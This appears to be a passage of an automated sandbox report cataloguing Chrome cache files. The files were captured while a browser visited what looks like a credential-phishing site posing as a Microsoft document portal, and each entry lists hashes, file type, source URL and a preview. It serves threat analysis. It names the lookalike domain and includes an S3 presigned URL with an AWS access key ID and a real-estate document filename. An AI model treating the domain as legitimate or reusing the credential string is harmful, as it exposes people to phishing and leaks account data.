MD5:	F94A2211CE789A95A7C67E8C660D63E8
SHA1:	F1FC19B6BCB96D0A905BF3192AAFF0885FF9F36F
SHA-256:	926DC3302F99EC05E4206E965DDEB7250F5910A8C38E82C7BEAFB724BBAAF37B
SHA-512:	EAC0FC89C2D6CCEB9F4C18DFC610DFF8BC194D3994F0C74B3D991F8423C6DADE11D805E76124596521C58AFA9939B45D2D3157F0A48626E12548020FC38364D3
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/471dc2adc340/api.js?render=explicit
Preview:	"use strict";(function(){function bt(e,r,t,o,u,s,m){try{var b=e[s](m),h=b.value}catch(d){t(d);return}b.done?r(h):Promise.resolve(h).then(o,u)}function Et(e){return function(){var r=this,t=arguments;return new Promise(function(o,u){var s=e.apply(r,t);function m(h){bt(s,o,u,m,b,"next",h)}function b(h){bt(s,o,u,m,b,"throw",h)}m(void 0)})}}function M(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):M(e,r)}function Ie(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function Ve(e){for(var r=1;r<arguments.length;r++){var t=arguments[r]!=null?arguments[r]:{},o=Object.keys(t);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(t).filter(function(u){return Object.getOwnPropertyDescriptor(t,u).enumerable}))),o.forEach(function(u){Ie(e,u,t[u])})}return e}function fr(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 114

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, orientation=upper-left, xresolution=62, yresolution=70, resolutionunit=2], baseline, precision 8, 1700x2200, components 3
Category:	downloaded
Size (bytes):	336576
Entropy (8bit):	7.728269982747793
Encrypted:	false
SSDEEP:	6144:lwKvWmViVM3FpfaBYOKRUz8dtLi/Wqr2PvPSmnqllMW7EzCab4:lpvlN3/fhhyodtLi/WqUXSmJCab4
MD5:	6FF98434EF5C6E8D4E89BDC21D798DFD
SHA1:	B5162A8E981616E912CD75479C443957F73DD69D
SHA-256:	8317A5E62F1F587A3A0711BD46FC578F0777856E7EB3538E8C1FEA4FDF36AF67
SHA-512:	C77681971D0672BC29D1203363849715787BD37AF916D9A087BE9D535947CAE677CC082D6361AE1339923DBD67E5BEB451E0438BF944B385B010F348264E8C2C
Malicious:	false
Reputation:	low
URL:	https://contentsnare-production.s3-accelerate.amazonaws.com/id4bw8i9c1l9f4v2rng272la9b53?response-content-disposition=inline%3B%20filename%3D%22Pages%20from%207953%20Cedar%20Drive%20Offer%255B83%255D.jpg%22%3B%20filename%2A%3DUTF-8%27%27Pages%2520from%25207953%2520Cedar%2520Drive%2520Offer%255B83%255D.jpg&response-content-type=image%2Fjpeg&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJEO7TYJAYQI5QCQQ%2F20240425%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240425T133008Z&X-Amz-Expires=300&X-Amz-SignedHeaders=host&X-Amz-Signature=b19cd8bfd37111eacd64b16cd2d43f38824f756d2b9a6e9642686b8393c5c0c2
Preview:	.....VExif..MM.*.............................>...........F.(..................................JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C........................................................................................................................g......................!..1A.Qaq.........."#R......2B..3Sb.Cr....c.$W....4T..&.:D.9sxy.....(7JXZ........................................=.......................!.1A..Qaq........"...2#..$BRb3r...C.............?.....P....p..l[

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3202
Entropy (8bit):	4.236796532981122
Encrypted:	false
SSDEEP:	96:1I7uAxrF5zHeZ2lLBUaaJP/DBzaJIQiSJTEm:mxrvlqaaZ/xaxi6TEm
MD5:	7D2B8F25545A2894E2721E9FE528E34C
SHA1:	D0DAE76F4BF5C04ACD5FCDF1BCB12908099E328C
SHA-256:	797BDA35D13E5130FE5A14E0069C31B46EC1AF6EA47F2D300309803BB4D2608C
SHA-512:	FE1F84AF0BA1100B2A90EE6FBFBD3763EF34D1A3BF045345538302ECE7D37EAADC9A9CD0E09C2030E62B13A55E118A2417B27F14336C271758BFB3E256906385
Malicious:	false
Reputation:	low
Preview:	<svg id="MSLogo" width="99" height="22" xmlns="http://www.w3.org/2000/svg">..<g fill="none" fill-rule="evenodd">..<path fill="#737474"..d="m34.64 12.07-.58 1.65h-.04c-.1-.39-.28-.93-.56-1.63l-3.14-7.9h-3.08v12.56h2.03V9.03l-.03-1.7c-.01-.34-.05-.6-.06-.81h.05c.1.47.2.83.28 1.07l3.78 9.16h1.42l3.75-9.24c.08-.21.17-.62.25-1h.05c-.05.92-.1 1.76-.1 2.26v7.98h2.17V4.2h-2.96l-3.23 7.88z"../>..<path d="M0 20.96h98.15V0H0z" />..<path fill="#737474"..d="M42.87 16.75h2.11v-9h-2.11zm1.08-12.82c-.35 0-.66.12-.9.35a1.17 1.17 0 0 0-.38.88c0 .35.12.64.37.87.25.23.55.34.9.34s.67-.11.92-.34c.25-.23.38-.52.38-.86 0-.34-.13-.64-.37-.88a1.26 1.26 0 0 0-.92-.36m8.53 3.73a5.9 5.9 0 0 0-1.19-.12c-.97 0-1.83.2-2.57.62-.74.4-1.3 1-1.7 1.74a5.57 5.57 0 0 0-.01 4.9c.37.7.9 1.23 1.58 1.6.67.38 1.45.57 2.31.57 1.01 0 1.87-.2 2.56-.6l.03-.02v-1.94l-.1.07c-.3.23-.65.4-1.03.54a3.12 3.12 0 0 1-1.01.2c-.83 0-1.5-.26-1.98-.78a3 3 0 0 1-.73-2.14c0-.9.25-1.65.76-2.2a2.6 2.6 0 0 1 1.98-.81c.7 0 1.38.23 2.02.7l.09.06V8.01L5

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (50758)
Category:	downloaded
Size (bytes):	51039
Entropy (8bit):	5.247253437401007
Encrypted:	false
SSDEEP:	768:E9Yw7GuJM+HV0cen/7Kh5rM7V4RxCKg8FW/xsXQUd+FiID65r48Hgp5HRl+:E9X7PMIM7V4R5LFAxTWyuHHgp5HRl+
MD5:	67176C242E1BDC20603C878DEE836DF3
SHA1:	27A71B00383D61EF3C489326B3564D698FC1227C
SHA-256:	56C12A125B021D21A69E61D7190CEFA168D6C28CE715265CEA1B3B0112D169C4
SHA-512:	9FA75814E1B9F7DB38FE61A503A13E60B82D83DB8F4CE30351BD08A6B48C0D854BAF472D891AF23C443C8293380C2325C7B3361B708AF9971AA0EA09A25CDD0A
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/boot/3ab171f76fa12ca7e775f401a8a53f3e662a5b20c6335
Preview:	/!. Bootstrap v4.1.3 (https://getbootstrap.com/). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function l(r){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},e=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(o).filter(function(t){return Object.getOwnPropertyDescriptor(o,t).enum

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
URL:	https://doculink.authtlcate-now.pro/ASSETS/img/m_.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	530
Entropy (8bit):	7.2576396280117494
Encrypted:	false
SSDEEP:	12:6v/7OEUhUxzPKmghSn8nazyk+k8/OzxQcxNMvVb:bhUxzlvWkT8FcxK1
MD5:	88E0F42C9FA4F94AA8BCD54D1685C180
SHA1:	5AD9D47A49B82718BAA3BE88550A0B3350270C42
SHA-256:	89C62095126FCA89EA1511CF35B49B8306162946B0C26D6F60C5506C51D85992
SHA-512:	FAFF842E9FF4CC838EC3C724E95EEE6D36B2F8C768DC23E48669E28FC5C19AA24B1B34CF1DBCBE877B3537D6A325B4C35AF440C2B6D58F6A77A04A208D9296F8
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/audio_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX...JBA.....E-R... (#..-*$.}.%.Kt.A..Dx.I...AF.Q.4.......-.6..?.m:.,.......Q..D.L..e4..2.D..8)j4:......&>.s......p?......9.o5>.][H.}...&L.%.xh{~K.J\|.b..N..HMp....f.}dd..S..4%...$dK..!..Z..NNs.W&g..Fn....p...w..Ut...E\.e.......6......M.F...X.L......em.....R#'..%....j$/..-......@.l."..M.\|....OtW.H.,.-.~W`Z.s8..W...B...C-.8"H....6......9...A..aO.1`.M..A..eA.{...-...U.,.W........IEND.B`.

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 266x266, segment length 16, baseline, precision 8, 2261x2926, components 3
Category:	dropped
Size (bytes):	211541
Entropy (8bit):	7.386552260134319
Encrypted:	false
SSDEEP:	6144:mF0bjjDZJjfG/PI8bw7/6F01qUEr6NOuIJkbs+oCe3:mF0bjjDZJjfGY8bwz6Fcq/r68bJkboCG
MD5:	A7D33B69B8C3A5B8B28A4F844670A02B
SHA1:	D203E29801C7B6D7F20E46E8912770D1D7649C26
SHA-256:	CE3FAFD06844C80D54FE141FAF794E6EAC3857DBDEFB16019D81A648AA5BD2AC
SHA-512:	F11C09EA170E000B3B55475F7D196DB471380FD8C6A468FE094726B1E5AB19202D9747AD81CA4AC4B586943C692AF3973EBA8B8D9CC21324C1A0467D973CF039
Malicious:	false
Reputation:	low
Preview:	......JFIF..............ICC_PROFILE.......appl....mntrRGB XYZ .........*..acspAPPL....APPL...........................-appl................................................desc...P...bdscm........cprt...P...#wtpt...t....rXYZ........gXYZ........bXYZ........rTRC........aarg....... vcgt.......0ndin... ...>mmod...`...(vcgp.......8bTRC........gTRC........aabg....... aagg....... desc........Display.................................................................................mluc.......&....hrHR........koKR........nbNO........id..........huHU........csCZ.......0daDK.......FnlNL.......bfiFI.......xitIT........esES........roRO........frCA........ar..........ukUA........heIL........zhTW.......$viVN........skSK.......<zhCN.......$ruRU...$...RenGB.......vfrFR........ms..........hiIN........thTH........caES........enAU.......vesXL........deDE........enUS........ptBR........plPL......."elGR..."...4svSE.......VtrTR.......fptPT.......zjaJP.........L.C.D. .u. .b.o.j.i.... .L.C.D.F.a.r.g.e.-.L.C.D.L.C

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1222), with no line terminators
Category:	downloaded
Size (bytes):	1222
Entropy (8bit):	5.818804287152988
Encrypted:	false
SSDEEP:	24:2jkm94/zKPccAv+KVCLTLv138EgFB5vtTGJTlWtRcw1MuhtsLqo40RWUnYN:VKEctKonR3evtTA87b1Muh6LrwUnG
MD5:	463D838587C8B5873CB6E4E942B770C9
SHA1:	E69DCF383A6F3F51F123CA2D86F19FC4BE09E612
SHA-256:	1448EC1B3F30A554233BD280AA99A7EAF690D1098647E7DDDEA286C757884F9C
SHA-512:	F02DE64A37B90492D714CC7D132C49BF29CB5117CA945258BAF5B36D087A3A2AED165C6FF37D2ED4E4F10D7199AFB9C2B5E2555BA1BECA1A8D3AE133F4DF4B23
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('onload');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-0lJkOVHDy3ItYlCbUoEzThjP3hLhLYfEFPAkVOCx

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HtHKiY:RKiY
MD5:	011B17B116126E6E0C4A9B0DE9145805
SHA1:	DF63A6EB731FFCE96F79802EFF6D53D00CDA42BC
SHA-256:	3418E6E704387A99F1611EB7BB883328A438BA600971E6D692E8BEA60F10B179
SHA-512:	BB432E96AF588E0B19CBD8BC228C87989FE578167FD1F3831C7E50D2D86DE11016FB93679FEF189B39085E9151EB9A6EB2986155C65DD0FE95EC85454D32AE7D
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAmDsoWcNoqJwBIFDdFbUVI=?alt=proto
Preview:	CgkKBw3RW1FSGgA=

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5945)
Category:	downloaded
Size (bytes):	251893
Entropy (8bit):	5.57108224411256
Encrypted:	false
SSDEEP:	3072:QNL6Qaf5qZ3fhO+zJGct8SG1LceF2/ea8LR9Wk9ARFaQj8XjXDL9btIM7ZaQ5cPD:I+QX5NzJ9YLceF+hKXjXP9RIM7N5YDS4
MD5:	A0EEB8816CB05CEAE2FD54520B6DD539
SHA1:	8269EAEF95FA5FA24E6D040AF0D15C9F516AACF7
SHA-256:	846CFE670B4A75AF7B4E63BC00BFD4C216E708A4CEBFABFF189DBC988BAF241F
SHA-512:	55B719AEA5688EE940FED6BA20568ECB342F69665796FACBE7619B3F3CB6DF7341459AC09CFCE1692DB90356491E570FF6CDC1A26870F9FB53EA5FA11B255359
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=G-GWR6DEECHX
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0},{"vtp_signal":0,"function":"__c","vtp_value":0},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":8,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailV

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	79
Entropy (8bit):	2.716326985350135
Encrypted:	false
SSDEEP:	3:tQTltaL5UJjV9GjUJjVE:6XG5UJjGjUJj2
MD5:	8E3DB10AF5A3E1CABE7AA67674E21188
SHA1:	E2314B0038DF2D49DDBE461F33A6797D4586CDE0
SHA-256:	87ECD5BABD6FD9F4F6F796D745AA38751FAF3985E3B55F87A2F53E506FE07362
SHA-512:	A4F136016F4591E021D54F06141896581371828BF02F662A050B2A36567DFEC6068A4C758815D481E01BD7D68692329B5EE228C854AB2D85246D05B56692FB09
Malicious:	false
Reputation:	low
Preview:	[71, 73, 70, 56, 57, 97, 1, 0, 1, 0, 0, 0, 0, 44, 0, 0, 0, 0, 1, 0, 1, 0, 0, 2]

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2912 x 106, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12626
Entropy (8bit):	6.811676096948244
Encrypted:	false
SSDEEP:	192:BMlJZmggPrctF8tJjEewa9O7vtzGQoPWDF8yQ75SW:KrZ+PriF8tNVSFw5SW
MD5:	8FC1822DE1AFA7ED3C9DA45CAFB471FC
SHA1:	A08E2E26E1D79A57D5FD2AB036A4C2164609C0A8
